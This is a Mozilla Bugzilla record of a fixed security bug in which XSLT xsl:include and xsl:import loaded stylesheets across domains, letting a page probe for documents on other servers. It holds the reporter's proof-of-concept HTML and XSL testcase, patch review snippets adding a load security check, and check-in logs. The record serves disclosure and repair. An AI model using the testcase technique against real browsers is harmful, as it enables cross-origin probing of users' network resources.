xsl:include and xsl:import allow at least checking for existance of documents on arbitrary servers

VERIFIED FIXED

Status

()

Core
XSLT
P1
normal
VERIFIED FIXED
13 years ago
11 years ago

People

(Reporter: georgi - hopefully not receiving bugspam, Assigned: peterv)

Tracking

({fixed-aviary1.0.1, fixed1.4.5, fixed1.7.6})

Trunk
x86
Linux
fixed-aviary1.0.1, fixed1.4.5, fixed1.7.6
Points:
---
Dependency tree / graph
Bug Flags:
blocking1.7.6 +
blocking-aviary1.0.1 +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:fix] fixed on trunk)

Attachments

(3 attachments, 3 obsolete attachments)

User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0

xsl:include and xsl:import import stylesheets from arbitrary domains (and
probably from local fs).
this allows at least checking for documents. it may be possible to read xml
files, not sure.

testcase - open xsl1.html
--------------xsl1.html--------
<html>
	<script>
		function vv() 
		{
			v1=a.document.firstChild;
			alert(v1.textContent);
		}
		a=window.open("/xslinc.xml");
		setTimeout("vv()",8000);
	</script>
	<h1>Copyright Georgi Guninski. Cannot be used in vulnerability databases
	</h1>	
</html>
-------------------------------

-----xslinc.xml----------------
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="#"?>
<!-- Copyright Georgi Guninski. Cannot be used in vulnerability databases -->

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
	<xsl:include href="http://www.mozilla.org/" />
	<xsl:include href="http://www.mozilla.org/404-404" />
 <xsl:template match="/">
 </xsl:template>
</xsl:stylesheet>
-------------------------------




Reproducible: Always
Steps to Reproduce:
(Assignee)

Comment 1

13 years ago
Ew. I'm pretty sure we used to block this.
txStylesheetCompilerState::loadIncludedStylesheet calls txCompileObserver::loadURI
which calls txCompileObserver::startLoad with aCallerPrincipal as nsnull and so
we don't do
http://lxr.mozilla.org/seamonkey/source/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp#503.
We can get to the stylesheet through mProcessor and we have a loadgroup.

Sicking, any ideas?
Status: UNCONFIRMED → NEW
Ever confirmed: true
(Assignee)

Updated

13 years ago
Priority: -- → P1
i have tried this attack in the past and it didn't work for sure.

either because of (1) security exception or (2) because include and import were
not implemented in xsl
We've supported both xsl:include and xsl:import for as long as I can remember so
what's probably happened here is that we lost the security check. Probably when
we implemented compiled stylesheets.

IMHO the security check should happen in loadURI. Note that we have two
implementations of this function:
txSyncCompileObserver::loadURI
txCompileObserver::loadURI
Both these seem to lack the security check.

(well, there's also standalone, but we don't need security checks there).

It seems like we're using the principal of the source document for the initial
load, would it be ok to do that for the rest too? In that case maybe we can set
that principal in the txCompileObserver when we kick off the initial load and
then always use that (i.e. remove the aPrincipal argument to startLoad).

For txSyncCompileObserver we should be able to do something similar.
dveditz, this is somewhat security related.
Peter: do you think you'd be able to take care of this one? I've got too much
with the thesis to set up a moz environment and start hacking right now.
(Assignee)

Comment 6

13 years ago
Yeah, I' will try to get to it this weekend.
Flags: blocking1.8a6?
Flags: blocking1.7.5?
(Assignee)

Updated

13 years ago
Status: NEW → ASSIGNED
(Assignee)

Comment 7

13 years ago
Created attachment 168371 [details] [diff] [review]
v1
(Assignee)

Updated

13 years ago
Attachment #168371 - Flags: review?(bugmail)
Why not keep the security check in startLoad rather the duplicating it twice?
(Assignee)

Comment 9

13 years ago
Created attachment 168646 [details] [diff] [review]
v1.1

The callers of startLoad have different arguments for the security check. I
looked at putting the check back in startLoad, but that gave a lot more if's,
so I prefer this one.
Attachment #168371 - Attachment is obsolete: true
Attachment #168646 - Flags: review?(bugmail)
(Assignee)

Updated

13 years ago
Attachment #168371 - Flags: review?(bugmail)

Comment 10

13 years ago
1.7.5 has shipped. Moving request to 1.7.6.
Flags: blocking1.7.5? → blocking1.7.6?
hrm, would have been nice if this had at least been marked blocking- so we would
have had a chance to argue for it. This bug is almost as bad as the
XMLHttpRequest bug that made headlines a while back and allows people to
download xml data from any url.
Comment on attachment 168646 [details] [diff] [review]
v1.1

+    channel->SetContentType(NS_LITERAL_CSTRING("text/xml"));

Is this a "suggestive" contenttype or does it force the result to be treated as
text/xml?



 nsresult
 txCompileObserver::loadURI(const nsAString& aUri,
+			    const nsAString& aReferrerUri,
			    txStylesheetCompiler* aCompiler)
 {
     nsCOMPtr<nsIURI> uri;
     nsresult rv = NS_NewURI(getter_AddRefs(uri), aUri);
     NS_ENSURE_SUCCESS(rv, rv);

+    nsCOMPtr<nsIURI> referrerUri;
+    rv = NS_NewURI(getter_AddRefs(referrerUri), aReferrerUri);
+    NS_ENSURE_SUCCESS(rv, rv);
+
+    // Do security check.
+    rv = CheckLoadURI(uri, referrerUri, nsnull, nsnull);
+    NS_ENSURE_SUCCESS(rv, rv);
+
     return startLoad(uri, aCompiler, referrerUri);
 }

uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it
show up as changed in the patch?


@@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS
     if (mURI.Equals(aUri)) {
	 return NS_ERROR_XSLT_LOAD_RECURSION;
     }
-    return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE;
+    return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) :
+			NS_ERROR_FAILURE;

Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is
forwarded up through child-compilers, but it should be the initial referrer
that is the one that actually made the request.

r=me with that
Attachment #168646 - Flags: review?(bugmail) → review+
(Assignee)

Comment 13

13 years ago
(In reply to comment #12)
> (From update of attachment 168646 [details] [diff] [review] [edit])
> +    channel->SetContentType(NS_LITERAL_CSTRING("text/xml"));
> 
> Is this a "suggestive" contenttype or does it force the result to be treated as
> text/xml?

Ignore that, it's for another bug.

> uhm, that's weird. In lxr the startLoad line looks differently. Why doesn't it
> show up as changed in the patch?

I have no idea how that happened and I can't reproduce it. Re-diffing made the
line show up as changed. Very weird.

> @@ -462,7 +463,8 @@ txStylesheetCompiler::loadURI(const nsAS
>      if (mURI.Equals(aUri)) {
> 	 return NS_ERROR_XSLT_LOAD_RECURSION;
>      }
> -    return mObserver ? mObserver->loadURI(aUri, aCompiler) : NS_ERROR_FAILURE;
> +    return mObserver ? mObserver->loadURI(aUri, mURI, aCompiler) :
> +			NS_ERROR_FAILURE;
> 
> Shouldn't this be |aReferrerUri| rather then |mURI|? The loadURI call is
> forwarded up through child-compilers, but it should be the initial referrer
> that is the one that actually made the request.

Yeah, but only for the mObserver->loadURI call, not for the logging or for the
recursion check, right?
yep
(Assignee)

Comment 15

13 years ago
Created attachment 169209 [details] [diff] [review]
v1.1

Marking r=sicking.
Attachment #168646 - Attachment is obsolete: true
Attachment #169209 - Flags: superreview?
Attachment #169209 - Flags: review+
(Assignee)

Updated

13 years ago
Attachment #169209 - Flags: superreview? → superreview?(jst)
Comment on attachment 169209 [details] [diff] [review]
v1.1

sr=jst
Attachment #169209 - Flags: superreview?(jst) → superreview+
(Assignee)

Comment 17

13 years ago
Comment on attachment 169209 [details] [diff] [review]
v1.1

Bug fix for a security hole that allows at least checking for the existance of
files on arbitrary servers. The fix is fairly low risk, XSLT is not very widely
used, and it just extends a security check to some other codepaths.
Attachment #169209 - Flags: approval1.7.6?
Attachment #169209 - Flags: approval-aviary1.0.1?
(Assignee)

Comment 18

13 years ago
Checked in on trunk, leaving open for branches.

Updated

13 years ago
Flags: blocking1.8a6?

Updated

13 years ago
Blocks: 248511
(Assignee)

Updated

13 years ago
Blocks: 278184
Blocks: 278186
Whiteboard: [sg:fix] fixed on trunk

Comment 19

13 years ago
We need a version of this patch that doesn't affect translation. Perhaps
specialcasing the error code in the loading of the properties files that if
loading error 27 fails, it hardcodes the english?

Comment 20

13 years ago
peter, can you put the patch together?
(Assignee)

Comment 21

13 years ago
Yes, I'll try to do it tomorrow.
Flags: blocking-aviary1.0.1?
Flags: blocking1.7.6?
Flags: blocking1.7.6+
Flags: blocking-aviary1.0.1?
Flags: blocking-aviary1.0.1+
Comment on attachment 169209 [details] [diff] [review]
v1.1

Drivers want this fix, but for the branches we need one that doesn't require
the localized string to exist (eg, hardcoded backup string)
Attachment #169209 - Flags: approval1.7.6?
Attachment #169209 - Flags: approval1.7.6-
Attachment #169209 - Flags: approval-aviary1.0.1?
Attachment #169209 - Flags: approval-aviary1.0.1-
(Assignee)

Comment 23

13 years ago
Created attachment 173309 [details] [diff] [review]
v1.1 (branch)
(Assignee)

Comment 24

13 years ago
I'll ask for a new sr and approvals tomorrow. Need to get some sleep first and
reread it with a clear head.
(Assignee)

Comment 25

13 years ago
Created attachment 173390 [details] [diff] [review]
v1.1 (branch)

Ported to the branch, which doesn't have the content policy changes. Note that
I did add the string in the properties file allowing translation of the string,
but I added fallback if the stringbundle entry is missing.
Attachment #173309 - Attachment is obsolete: true
Attachment #173390 - Flags: superreview?(jst)
Comment on attachment 173390 [details] [diff] [review]
v1.1 (branch)

r+sr=jst
Attachment #173390 - Flags: superreview?(jst)
Attachment #173390 - Flags: superreview+
Attachment #173390 - Flags: review+
(Assignee)

Updated

13 years ago
Attachment #173390 - Flags: approval1.7.6?
Attachment #173390 - Flags: approval-aviary1.0.1?

Comment 27

13 years ago
Comment on attachment 173390 [details] [diff] [review]
v1.1 (branch)

a=mkaply - make sure to put this on the 1.0.1 branch and not the AVIARY branch.
Attachment #173390 - Flags: approval1.7.6?
Attachment #173390 - Flags: approval1.7.6+
Attachment #173390 - Flags: approval-aviary1.0.1?
Attachment #173390 - Flags: approval-aviary1.0.1+
(Assignee)

Updated

13 years ago
Status: ASSIGNED → RESOLVED
Last Resolved: 13 years ago
Keywords: fixed-aviary1.0.1, fixed1.7.6
Resolution: --- → FIXED

Comment 28

12 years ago
Verified Fixed.  Testcase now results in content bring blocked with error:
"Error loading stylesheet: An XSLT stylesheet load was blocked for security
reasons."

Aviary 1.0.1 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)
Gecko/20050217 Firefox/1.0

Mozilla 1.7.6 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
Gecko/20050217

Trunk/M18b1 also look ok (still a problem in Firefox 1.0 as expected)
Status: RESOLVED → VERIFIED
Group: security

Comment 29

12 years ago
hello, all : simple comment that i think one should state here :

this 'bug' is actually a feature in xsl (dangerous of course, but convenient)
and it is actively used by many legitimate apps as a simple way to retrieve
database content directly from a webbrowser window, when u don't really need sql

exploitation is rather trivial when you know where the pages are located and the
browser accepts client-side scripting (espetially if the 'file' protocol is to
be allowed) but browsing is quite unrealistic.
as the same problem exists in regular html and various script languages (in
which case browsing IS possible) and is commonly fought using a setting such as
"allow cross-domain references" or similar, may i suggest that this setting
apply for such cases as well.

it might then be a reasonable thought that xml will some day include an informal
header tag stating where the page could be loaded from (maybe it already does ?)
in which case the browser will silently accept the cross-domain referal. ( does
the parser look at the headers before it actually parses the tree ? )

i'll have a snip in the code, but probably will not be able to submit a patch
before long or at all because i still lack the programming skills... yet i think
it should be mentioned here...

btw, firefox is GREAT, thanks to you, guys !
Created attachment 187758 [details] [diff] [review]
patch for 1.4 branch
Attachment #187758 - Flags: superreview?(jst)
Attachment #187758 - Flags: review?(jst)
Comment on attachment 187758 [details] [diff] [review]
patch for 1.4 branch

r+sr=jst
Attachment #187758 - Flags: superreview?(jst)
Attachment #187758 - Flags: superreview+
Attachment #187758 - Flags: review?(jst)
Attachment #187758 - Flags: review+

Comment 32

12 years ago
Checking in resources/xslt.properties;
/cvsroot/mozilla/extensions/transformiix/resources/Attic/xslt.properties,v  <--
 xslt.properties
new revision: 1.3.2.1; previous revision: 1.3
done
Checking in source/base/txError.h;
/cvsroot/mozilla/extensions/transformiix/source/base/txError.h,v  <-- 
txError.hnew revision: 1.8.2.1; previous revision: 1.8
done
Checking in source/xslt/txMozillaStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaStylesheetCompiler.cpp,v
 <--  txMozillaStylesheetCompiler.cpp
new revision: 1.5.4.1; previous revision: 1.5
done
Checking in source/xslt/txMozillaXSLTProcessor.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.cpp,v
 <--  txMozillaXSLTProcessor.cpp
new revision: 1.16.2.2; previous revision: 1.16.2.1
done
Checking in source/xslt/txMozillaXSLTProcessor.h;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txMozillaXSLTProcessor.h,v
 <--  txMozillaXSLTProcessor.h
new revision: 1.8.2.1; previous revision: 1.8
done
Checking in source/xslt/txStandaloneStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStandaloneStylesheetCompiler.cpp,v
 <--  txStandaloneStylesheetCompiler.cpp
new revision: 1.6.2.1; previous revision: 1.6
done
Checking in source/xslt/txStylesheetCompiler.cpp;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.cpp,v
 <--  txStylesheetCompiler.cpp
new revision: 1.6.2.1; previous revision: 1.6
done
Checking in source/xslt/txStylesheetCompiler.h;
/cvsroot/mozilla/extensions/transformiix/source/xslt/txStylesheetCompiler.h,v 
<--  txStylesheetCompiler.h
new revision: 1.7.2.1; previous revision: 1.7
done
Keywords: fixed1.4.5
You need to log in before you can comment on or make changes to this bug.